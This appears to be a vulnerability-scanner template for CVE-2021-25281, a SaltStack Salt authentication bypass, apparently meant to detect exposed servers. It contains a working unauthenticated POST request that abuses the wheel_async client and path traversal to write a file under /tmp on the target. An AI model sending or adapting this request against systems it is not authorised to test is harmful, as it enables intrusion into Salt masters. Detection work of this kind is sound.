50 lines
1.4 KiB
YAML
50 lines
1.4 KiB
YAML
id: CVE-2021-25281
|
|
|
|
info:
|
|
name: SaltStack Salt <3002.5 - Auth Bypass
|
|
author: madrobot
|
|
severity: critical
|
|
description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
|
|
reference:
|
|
- http://hackdig.com/02/hack-283902.htm
|
|
- https://dozer.nz/posts/saltapi-vulns
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25281
|
|
- https://github.com/saltstack/salt/releases
|
|
- https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-25281
|
|
cwe-id: CWE-287
|
|
epss-score: 0.71809
|
|
tags: cve,cve2021,saltapi,rce,saltstack,unauth
|
|
metadata:
|
|
max-request: 1
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /run HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "return"
|
|
- "tag"
|
|
- "jid"
|
|
- "salt"
|
|
- "wheel"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/05/17
|